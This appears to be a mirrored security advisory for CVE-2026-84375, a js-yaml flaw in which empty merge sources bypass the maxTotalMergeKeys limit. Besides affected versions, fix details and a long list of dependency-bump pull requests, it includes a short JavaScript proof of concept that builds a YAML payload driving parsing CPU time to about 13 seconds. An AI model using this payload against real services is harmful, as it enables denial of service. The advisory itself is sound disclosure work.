js-yaml: maxTotalMergeKeys does not limit CPU use for empty merge sources
RSS Feed
HIGH
GHSA-2883-xcg3-v3hh
CVE-2026-84375
Description:
Summary
maxTotalMergeKeys does not count empty mappings. An attacker can repeatedly merge a large sequence of them and consume significant CPU without reaching the configured limit.
Example
arr: &arr [{}, {}, {}, ...] # N empty mappings
targets:
- <<: *arr # repeated K times
For every target, the loader iterates all N elements of arr. This results in O(N * K) work while totalMergeKeys remains unchanged.
PoC
import { performance } from 'node:perf_hooks'
import { load, YAML11_SCHEMA } from 'js-yaml'
const n = 20000
const src =
'arr: &arr [' + '{},'.repeat(n).slice(0, -1) + ']\n' +
'targets:\n' +
' - <<: *arr\n'.repeat(n)
const started = performance.now()
load(src, { schema: YAML11_SCHEMA })
console.log(`${(performance.now() - started).toFixed(1)} ms`)
Observed results:
| N | YAML size | Time |
|---|---|---|
| 800 | ~13 KB | ~20 ms |
| 3200 | ~50 KB | ~180 ms |
| 20000 | ~500 KB | ~13 s |
Impact
An attacker can submit a relatively small YAML document that causes prolonged CPU consumption despite the default maxTotalMergeKeys limit.
Fix
Count each merge-source mapping as one budget unit, in addition to counting its keys.
Difference with v5
In v3 & v4, merge is enabled by default. So, the severity score is higher.
Affected Packages
| Ecosystem | Package | Vulnerable Versions | Patched Version |
|---|---|---|---|
| npm |
js-yaml
|
>= 3.0.0, < 3.15.2>= 4.0.0, < 4.3.2 |
3.15.2
|
Bump vulnerable dependencies
Open about 8 hours ago
ImagineLearning/learnosity-sdk-nodejs #8
Bump the routine group across 1 directory with 40 updates
Open about 1 month ago
rglazkov/refscout-front #18
npm:@vitejs/plugin-react
npm:globals
+38 more
Bump @mermanjs/web from 0.8.0-alpha.3 to 0.8.0-alpha.7
Closed about 1 month ago
sheisxy/sheisxy.github.io #3
npm:@mermanjs/web
build(deps-dev): Bump turbo from 2.11.4 to 2.11.5
Open about 1 month ago
NinePiece2/github-stats-extended #125
npm:turbo
build(deps): Bump the minor-and-patch group across 1 directory with 5 updates
Closed about 1 month ago
kursatessiz/deneme #147
npm:ts-jest
npm:@anthropic-ai/sdk
+3 more
deps(deps-dev): bump the build-tooling group with 2 updates
Open about 1 month ago
psg2/feed-reader #40
npm:vite
npm:turbo
fix(deps-dev): bump the tooling group across 1 directory with 8 updates
Closed about 1 month ago
nextidemedia/ui #83
npm:eslint
npm:@types/node
+6 more
chore(deps): bump the dev-tooling group with 8 updates
Open about 2 months ago
BluePrime-Technologies/typeorm-timescaledb #250
npm:vitest
npm:@types/node
+6 more
chore(deps): bump the production-deps group across 1 directory with 41 updates
Open about 2 months ago
mattbutlerengineering/mattbutlerengineering #6013
npm:lucide-react
npm:lint-staged
+39 more
chore(deps-dev): bump turbo from 2.11.4 to 2.11.5
Closed about 2 months ago
davidvornholt/mailbox #54
npm:turbo
build(deps): Bump the npm group across 1 directory with 19 updates
Open about 2 months ago
Juandagarc/box-33 #15
npm:vitest
npm:@vitejs/plugin-react
+17 more
chore(deps): bump the minor-and-patch group across 1 directory with 79 updates
Open about 2 months ago
denizlg24/denizlg24.com #229
npm:react-native-reanimated
npm:lucide-react
+77 more
chore(deps): Bump the minor-and-patch group across 1 directory with 15 updates
Closed about 2 months ago
Jundev66/CoreBiz #27
npm:zod
npm:lucide-react
+13 more
Build(deps): Bump the dev-dependencies group across 1 directory with 21 updates
Open about 2 months ago
mincho-js/mincho #404
npm:globals
npm:@types/react
+19 more
build(deps): bump the routine-updates group across 1 directory with 57 updates
Closed about 2 months ago
bouthouriMed/VAYA #142
npm:react-native-reanimated
npm:react-router-dom
+55 more
build(deps): bump the minor-and-patch group across 1 directory with 13 updates
Open about 2 months ago
ynnickw/adport #83
npm:zod
npm:@types/node
+11 more
Bump the npm-vscode-bicep-ui group across 1 directory with 14 updates
Closed about 2 months ago
Azure/bicep #20372
npm:eslint
npm:@types/node
+12 more
chore(deps): bump the npm-dependencies group across 1 directory with 55 updates
Open about 2 months ago
stellar-alerts-labs/stellar-alerts #513
npm:@vitejs/plugin-react
npm:zod
+53 more
chore(deps): bump the development-dependencies group across 1 directory with 20 updates
Closed about 2 months ago
Hordekiller/Iraniyaragh #383
npm:vitest
npm:@vitejs/plugin-react
+18 more
chore(deps): bump the dependencies group across 1 directory with 16 updates
Open about 2 months ago
madfam-org/madfam-site #338
npm:@vitejs/plugin-react
npm:zod
+14 more
build(deps-dev): bump turbo from 2.11.2 to 2.11.5
Closed about 2 months ago
xcfio/autokicker #189
npm:turbo
chore(deps): bump the packages group with 15 updates
Open about 2 months ago
openbrf/openbrf #225
npm:vitest
npm:@types/node
+13 more
chore(deps): bump the minor-and-patch group with 6 updates
Open about 2 months ago
RyRy79261/afrikaburn-contributors-app #91
npm:@vitest/coverage-v8
npm:next
+4 more
chore(deps): bump the dev-minor-patch group across 1 directory with 10 updates
Closed about 2 months ago
TicketSolutionsPtyLtd/roadie #211
npm:vitest
npm:@types/node
+8 more
chore(deps-dev): bump turbo from 2.11.2 to 2.11.5
Open about 2 months ago
PunGrumpy/logixlysia #472
npm:turbo
chore(deps-dev): Bump the dev-dependencies group with 4 updates
Closed about 2 months ago
yanneves/browser.icu #830
npm:wrangler
npm:turbo
+2 more
chore(deps): bump the minor-and-patch group across 1 directory with 8 updates
Closed about 2 months ago
alihassan891u-lab/LangGraph-Advanced-AI #24
npm:eslint
npm:prettier
+6 more
chore(deps): bump the production-npm group with 9 updates
Open about 2 months ago
dimah-kz/dimah-form #15
npm:vitest
npm:lucide-react
+7 more
deps: bump the dependencies group across 1 directory with 16 updates
Closed about 2 months ago
TenantScale/sdk #175
npm:lint-staged
npm:react-dom
+14 more
chore(deps-dev): bump turbo from 2.10.12 to 2.11.5
Open about 2 months ago
abdurrahmanse/Boilerplate #8
npm:turbo
build(deps-dev): Bump the dev-dependencies group with 5 updates
Closed about 2 months ago
jaypetez/stride #129
npm:vitest
npm:lint-staged
+3 more
Bump the minor-and-patch-bumps group with 14 updates
Closed about 2 months ago
navikt/dp-brukerdialog-frontend #929
npm:zod
npm:eslint
+12 more
chore(deps): bump the node group across 1 directory with 15 updates
Closed about 2 months ago
viclafouch/multifus #8
npm:vitest
npm:lucide-react
+13 more
build(deps): bump the minor-and-patch group with 11 updates
Closed about 2 months ago
climaa/acceptance-gate #469
npm:vitest
npm:@vitest/coverage-v8
+9 more
chore(deps-dev): bump the dev-dependencies group across 1 directory with 8 updates
Closed about 2 months ago
ecryptoguru/lyrashield-ai #877
npm:prettier
npm:@cloudflare/workers-types
+6 more
chore(deps): bump the workspace-minor-patch group across 1 directory with 24 updates
Closed about 2 months ago
akhayam99/goodboy #1946
npm:@vitejs/plugin-react
npm:lucide-react
+22 more
chore(deps-dev): bump the development-dependencies group with 16 updates
Open about 2 months ago
webdriverio/desktop-mobile #690
npm:vitest
npm:@types/node
+14 more
chore(deps-dev): bump the patch-updates group across 1 directory with 5 updates
Closed about 2 months ago
allisonmahmood/patchy-cloud #441
npm:vitest
npm:vite
+3 more
chore(deps): bump the minor-and-patch group with 15 updates
Open about 2 months ago
simshanith/lit-ui-router #1031
npm:@types/node
npm:wrangler
+13 more
build(deps): bump the dependencies group across 1 directory with 34 updates
Closed about 2 months ago
rorystandley/lede #82
npm:vitest
npm:@vitejs/plugin-react
+32 more
Bump the web-client-minor-patch group across 1 directory with 29 updates
Closed about 2 months ago
mightymoose/fortymm #1826
npm:vitest
npm:zod
+27 more
build(deps): bump the typescript-dependencies group across 1 directory with 18 updates
Closed about 2 months ago
channel-io/app-sdk #152
npm:@types/node
npm:prettier
+16 more
deps(frontend): bump the grafana group with 2 updates
Open about 2 months ago
navikt/fritak-agp-frontend #1759
npm:@grafana/faro-web-sdk
npm:@grafana/faro-web-tracing
Bump orval from 7.21.0 to 8.31.0 in /frontend
Closed 2 months ago
JaeYounkim0w0/klueops #15
npm:orval
chore(deps): bump the npm-minor-and-patch group with 19 updates
Closed 2 months ago
chetan-anand-hub/Lazytopper-Production #784
npm:react-router-dom
npm:firebase
+17 more
dependabot: bump the github-actions group with 2 updates
Open 2 months ago
open-circle/valibot #1637
actions:zizmorcore/zizmor-action
actions:OWASP/cve-lite-cli
chore(deps-dev): bump snyk from 1.36.2 to 1.1307.1
Open 2 months ago
L33tCh/SickRage #841
npm:snyk
build(deps): bump @snyk/protect from 1.1307.0 to 1.1307.1
Closed 2 months ago
jesperancinha/boilerplate-project-issuetracker #718
npm:@snyk/protect
Chore(deps): Bump the npm-dependencies group across 1 directory with 4 updates
Closed 2 months ago
tarlepp/angular-ngrx-frontend #3990
npm:eslint
npm:typescript
+2 more
Actions
Advisory Details
| Published: | September 08, 2026 2 months ago |
| Updated: | November 04, 2026 15 days ago |
| CVSS Score: | 7.5 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H |
| EPSS: | 0.54% 46th percentile |
| Source: | Github |
| Classification: | GENERAL |
| UUID: | GSA_kwCzR0hTQS0yODgzLXhjZzMtdjNoaM4ABu9F |
PR Statistics
PR Status
Open
22 (44.9%)
Merged
0 (0.0%)
Closed
27 (55.1%)
Update Types
Major
48 (6.8%)
Minor
350 (49.2%)
Patch
311 (43.7%)
References
- https://github.com/nodeca/js-yaml/security/advisories/GHSA-2883-xcg3-v3hh
- https://nvd.nist.gov/vuln/detail/CVE-2026-84375
- https://github.com/nodeca/js-yaml/pull/797
- https://github.com/nodeca/js-yaml/commit/3485bc06ff8a0251505f44a00414d90df2466639
- https://github.com/nodeca/js-yaml/commit/6a8e05f9a485188ed730ac81e81ae221352ef480
- https://github.com/nodeca/js-yaml/commit/d90b6612a5a84385bdcb556c44578eac76dc0f6b
- https://github.com/nodeca/js-yaml/releases/tag/3.15.2
- https://github.com/nodeca/js-yaml/releases/tag/4.3.2
- https://github.com/advisories/GHSA-2883-xcg3-v3hh